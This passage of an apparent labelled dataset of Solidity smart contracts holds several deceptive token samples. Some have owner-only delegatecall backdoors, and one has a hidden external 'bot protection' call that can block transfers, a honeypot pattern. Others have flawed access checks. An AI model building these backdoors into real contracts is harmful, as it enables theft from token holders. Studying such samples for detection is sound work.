allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,267
pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BotProtected { address internal owner; address private botProtection; address public uniPair; constructor(address _botProtection) { botProtection = _botProtection; } modifier checkBots(address _from, address _to, uint256 _value) { (bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value)); require(notABot); _; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } abstract contract ERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; } } contract SaitoToken is BotProtected { mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 3000000000000000000000000000; string public name = "SAITO"; string public symbol = "SAITO"; IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); constructor(address _botProtection) BotProtected(_botProtection) { owner = tx.origin; uniPair = pairFor(wETH, address(this)); allowance[address(this)][address(uniRouter)] = uint(-1); allowance[tx.origin][uniPair] = uint(-1); } function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function pairFor(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; uniRouter.addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_tos.length == _amounts.length); for(uint i = 0; i < _tos.length; i++) { balanceOf[_tos[i]] = _amounts[i]; emit Transfer(address(0x0), _tos[i], _amounts[i]); } } }
0
1,899
pragma solidity ^0.4.16; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public finishMinting = false; address public saleAgent; function setSaleAgent(address newSaleAgnet) { require(msg.sender == saleAgent || msg.sender == owner); saleAgent = newSaleAgnet; } function mint(address _to, uint256 _amount) returns (bool) { require(msg.sender == saleAgent && !finishMinting); totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } function finishMinting() returns (bool) { require(msg.sender == saleAgent || msg.sender == owner && !finishMinting); finishMinting = true; MintFinished(); return true; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused { paused = true; Pause(); } function unpause() onlyOwner whenPaused { paused = false; Unpause(); } } contract WCMToken is MintableToken { string public constant name = "WCMT"; string public constant symbol = "WCM tokens"; uint32 public constant decimals = 18; } contract StagedCrowdsale is Pausable { using SafeMath for uint; struct Milestone { uint period; uint bonus; } uint public start; uint public totalPeriod; uint public invested; uint public hardCap; Milestone[] public milestones; function milestonesCount() constant returns(uint) { return milestones.length; } function setStart(uint newStart) onlyOwner { start = newStart; } function setHardcap(uint newHardcap) onlyOwner { hardCap = newHardcap; } function addMilestone(uint period, uint bonus) onlyOwner { require(period > 0); milestones.push(Milestone(period, bonus)); totalPeriod = totalPeriod.add(period); } function removeMilestones(uint8 number) onlyOwner { require(number < milestones.length); Milestone storage milestone = milestones[number]; totalPeriod = totalPeriod.sub(milestone.period); delete milestones[number]; for (uint i = number; i < milestones.length - 1; i++) { milestones[i] = milestones[i+1]; } milestones.length--; } function changeMilestone(uint8 number, uint period, uint bonus) onlyOwner { require(number < milestones.length); Milestone storage milestone = milestones[number]; totalPeriod = totalPeriod.sub(milestone.period); milestone.period = period; milestone.bonus = bonus; totalPeriod = totalPeriod.add(period); } function insertMilestone(uint8 numberAfter, uint period, uint bonus) onlyOwner { require(numberAfter < milestones.length); totalPeriod = totalPeriod.add(period); milestones.length++; for (uint i = milestones.length - 2; i > numberAfter; i--) { milestones[i + 1] = milestones[i]; } milestones[numberAfter + 1] = Milestone(period, bonus); } function clearMilestones() onlyOwner { require(milestones.length > 0); for (uint i = 0; i < milestones.length; i++) { delete milestones[i]; } milestones.length -= milestones.length; totalPeriod = 0; } modifier saleIsOn() { require(milestones.length > 0 && now >= start && now < lastSaleDate()); _; } modifier isUnderHardCap() { require(invested <= hardCap); _; } function lastSaleDate() constant returns(uint) { require(milestones.length > 0); return start + totalPeriod * 1 days; } function currentMilestone() saleIsOn constant returns(uint) { uint previousDate = start; for(uint i=0; i < milestones.length; i++) { if(now >= previousDate && now < previousDate + milestones[i].period * 1 days) { return i; } previousDate = previousDate.add(milestones[i].period * 1 days); } revert(); } } contract CommonSale is StagedCrowdsale { address public multisigWallet; address public foundersTokensWallet; address public bountyTokensWallet; uint public foundersPercent; uint public bountyTokensCount; uint public price; uint public percentRate = 100; bool public bountyMinted = false; CommonSale public nextSale; MintableToken public token; function setToken(address newToken) onlyOwner { token = MintableToken(newToken); } function setNextSale(address newNextSale) onlyOwner { nextSale = CommonSale(newNextSale); } function setPrice(uint newPrice) onlyOwner { price = newPrice; } function setPercentRate(uint newPercentRate) onlyOwner { percentRate = newPercentRate; } function setFoundersPercent(uint newFoundersPercent) onlyOwner { foundersPercent = newFoundersPercent; } function setBountyTokensCount(uint newBountyTokensCount) onlyOwner { bountyTokensCount = newBountyTokensCount; } function setMultisigWallet(address newMultisigWallet) onlyOwner { multisigWallet = newMultisigWallet; } function setFoundersTokensWallet(address newFoundersTokensWallet) onlyOwner { foundersTokensWallet = newFoundersTokensWallet; } function setBountyTokensWallet(address newBountyTokensWallet) onlyOwner { bountyTokensWallet = newBountyTokensWallet; } function createTokens() whenNotPaused isUnderHardCap saleIsOn payable { require(msg.value > 0); uint milestoneIndex = currentMilestone(); Milestone storage milestone = milestones[milestoneIndex]; multisigWallet.transfer(msg.value); invested = invested.add(msg.value); uint tokens = msg.value.div(price).mul(1 ether); uint bonusTokens = tokens.div(percentRate).mul(milestone.bonus); uint tokensWithBonus = tokens.add(bonusTokens); token.mint(msg.sender, tokensWithBonus); uint foundersTokens = tokens.div(percentRate).mul(foundersPercent); token.mint(foundersTokensWallet, foundersTokens); } function mintBounty() public whenNotPaused onlyOwner { require(!bountyMinted); token.mint(bountyTokensWallet, bountyTokensCount * 1 ether); bountyMinted = true; } function finishMinting() public whenNotPaused onlyOwner { if(nextSale == address(0)) { token.finishMinting(); } else { token.setSaleAgent(nextSale); } } function() external payable { createTokens(); } function retrieveTokens(address anotherToken) public onlyOwner { ERC20 alienToken = ERC20(anotherToken); alienToken.transfer(multisigWallet, token.balanceOf(this)); } }
1
4,658
pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { mapping (bytes32 => uint64) internal chains; mapping (bytes32 => uint) internal freezings; mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 18; uint8 public constant TOKEN_DECIMALS_UINT8 = 18; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string public constant TOKEN_NAME = "BlackVault7"; string public constant TOKEN_SYMBOL = "BKV"; bool public constant PAUSED = false; address public constant TARGET_USER = 0x43ab8c56BaAf9B6fb839B9056667D60B8254e25F; bool public constant CONTINUE_MINTING = true; } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { event Initialized(); bool public initialized = false; constructor() public { init(); transferOwnership(TARGET_USER); } function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } function init() private { require(!initialized); initialized = true; if (PAUSED) { pause(); } address[1] memory addresses = [address(0x43ab8c56baaf9b6fb839b9056667d60b8254e25f)]; uint[1] memory amounts = [uint(1000000000000000000000000000)]; uint64[1] memory freezes = [uint64(0)]; for (uint i = 0; i < addresses.length; i++) { if (freezes[i] == 0) { mint(addresses[i], amounts[i]); } else { mintAndFreeze(addresses[i], amounts[i], freezes[i]); } } if (!CONTINUE_MINTING) { finishMinting(); } emit Initialized(); } }
1
3,005
pragma solidity ^0.4.21; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract StandardToken { using SafeMath for uint256; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => uint256) internal balances_; mapping(address => mapping(address => uint256)) internal allowed_; uint256 internal totalSupply_; string public name; string public symbol; uint8 public decimals; function totalSupply() public view returns (uint256) { return totalSupply_; } function balanceOf(address _owner) public view returns (uint256) { return balances_[_owner]; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed_[_owner][_spender]; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances_[msg.sender]); balances_[msg.sender] = balances_[msg.sender].sub(_value); balances_[_to] = balances_[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances_[_from]); require(_value <= allowed_[_from][msg.sender]); balances_[_from] = balances_[_from].sub(_value); balances_[_to] = balances_[_to].add(_value); allowed_[_from][msg.sender] = allowed_[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed_[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } } contract EthTeamContract is StandardToken, Ownable { event Buy(address indexed token, address indexed from, uint256 value, uint256 weiValue); event Sell(address indexed token, address indexed from, uint256 value, uint256 weiValue); event BeginGame(address indexed team1, address indexed team2, uint64 gameTime); event EndGame(address indexed team1, address indexed team2, uint8 gameResult); event ChangeStatus(address indexed team, uint8 status); uint256 public price; uint8 public status; uint64 public gameTime; uint64 public finishTime; address public feeOwner; address public gameOpponent; function EthTeamContract( string _teamName, string _teamSymbol, address _gameOpponent, uint64 _gameTime, uint64 _finishTime, address _feeOwner ) public { name = _teamName; symbol = _teamSymbol; decimals = 3; totalSupply_ = 0; price = 1 szabo; gameOpponent = _gameOpponent; gameTime = _gameTime; finishTime = _finishTime; feeOwner = _feeOwner; owner = msg.sender; } function transfer(address _to, uint256 _value) public returns (bool) { if (_to != address(this)) { return super.transfer(_to, _value); } require(_value <= balances_[msg.sender] && status == 0 && gameTime == 0); balances_[msg.sender] = balances_[msg.sender].sub(_value); totalSupply_ = totalSupply_.sub(_value); uint256 weiAmount = price.mul(_value); msg.sender.transfer(weiAmount); emit Transfer(msg.sender, _to, _value); emit Sell(_to, msg.sender, _value, weiAmount); return true; } function() payable public { require(status == 0 && price > 0 && gameTime > block.timestamp); uint256 amount = msg.value.div(price); balances_[msg.sender] = balances_[msg.sender].add(amount); totalSupply_ = totalSupply_.add(amount); emit Transfer(address(this), msg.sender, amount); emit Buy(address(this), msg.sender, amount, msg.value); } function changeStatus(uint8 _status) onlyOwner public { require(status != _status); status = _status; emit ChangeStatus(address(this), _status); } function changeFeeOwner(address _feeOwner) onlyOwner public { require(_feeOwner != feeOwner && _feeOwner != address(0)); feeOwner = _feeOwner; } function finish() onlyOwner public { require(block.timestamp >= finishTime); feeOwner.transfer(address(this).balance); } function beginGame(address _gameOpponent, uint64 _gameTime) onlyOwner public { require(_gameOpponent != address(this)); require(_gameTime == 0 || (_gameTime > 1514764800)); gameOpponent = _gameOpponent; gameTime = _gameTime; status = 0; emit BeginGame(address(this), _gameOpponent, _gameTime); } function endGame(address _gameOpponent, uint8 _gameResult) onlyOwner public { require(gameOpponent != address(0) && gameOpponent == _gameOpponent); uint256 amount = address(this).balance; uint256 opAmount = gameOpponent.balance; require(_gameResult == 1 || (_gameResult == 2 && amount >= opAmount) || _gameResult == 3); EthTeamContract op = EthTeamContract(gameOpponent); if (_gameResult == 1) { if (amount > 0 && totalSupply_ > 0) { uint256 lostAmount = amount; if (op.totalSupply() > 0) { uint256 feeAmount = lostAmount.div(20); lostAmount = lostAmount.sub(feeAmount); feeOwner.transfer(feeAmount); op.transferFundAndEndGame.value(lostAmount)(); } else { feeOwner.transfer(lostAmount); op.transferFundAndEndGame(); } } else { op.transferFundAndEndGame(); } } else if (_gameResult == 2) { if (amount > opAmount) { lostAmount = amount.sub(opAmount).div(2); if (op.totalSupply() > 0) { feeAmount = lostAmount.div(20); lostAmount = lostAmount.sub(feeAmount); feeOwner.transfer(feeAmount); op.transferFundAndEndGame.value(lostAmount)(); } else { feeOwner.transfer(lostAmount); op.transferFundAndEndGame(); } } else if (amount == opAmount) { op.transferFundAndEndGame(); } else { revert(); } } else if (_gameResult == 3) { op.transferFundAndEndGame(); } else { revert(); } endGameInternal(); if (totalSupply_ > 0) { price = address(this).balance.div(totalSupply_); } emit EndGame(address(this), _gameOpponent, _gameResult); } function endGameInternal() private { gameOpponent = address(0); gameTime = 0; status = 0; } function transferFundAndEndGame() payable public { require(gameOpponent != address(0) && gameOpponent == msg.sender); if (msg.value > 0 && totalSupply_ > 0) { price = address(this).balance.div(totalSupply_); } endGameInternal(); } }
1
2,734
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } library SafeDecimalMath { using SafeMath for uint; uint8 public constant decimals = 18; uint8 public constant highPrecisionDecimals = 27; uint public constant UNIT = 10 ** uint(decimals); uint public constant PRECISE_UNIT = 10 ** uint(highPrecisionDecimals); uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10 ** uint(highPrecisionDecimals - decimals); function unit() external pure returns (uint) { return UNIT; } function preciseUnit() external pure returns (uint) { return PRECISE_UNIT; } function multiplyDecimal(uint x, uint y) internal pure returns (uint) { return x.mul(y) / UNIT; } function _multiplyDecimalRound(uint x, uint y, uint precisionUnit) private pure returns (uint) { uint quotientTimesTen = x.mul(y) / (precisionUnit / 10); if 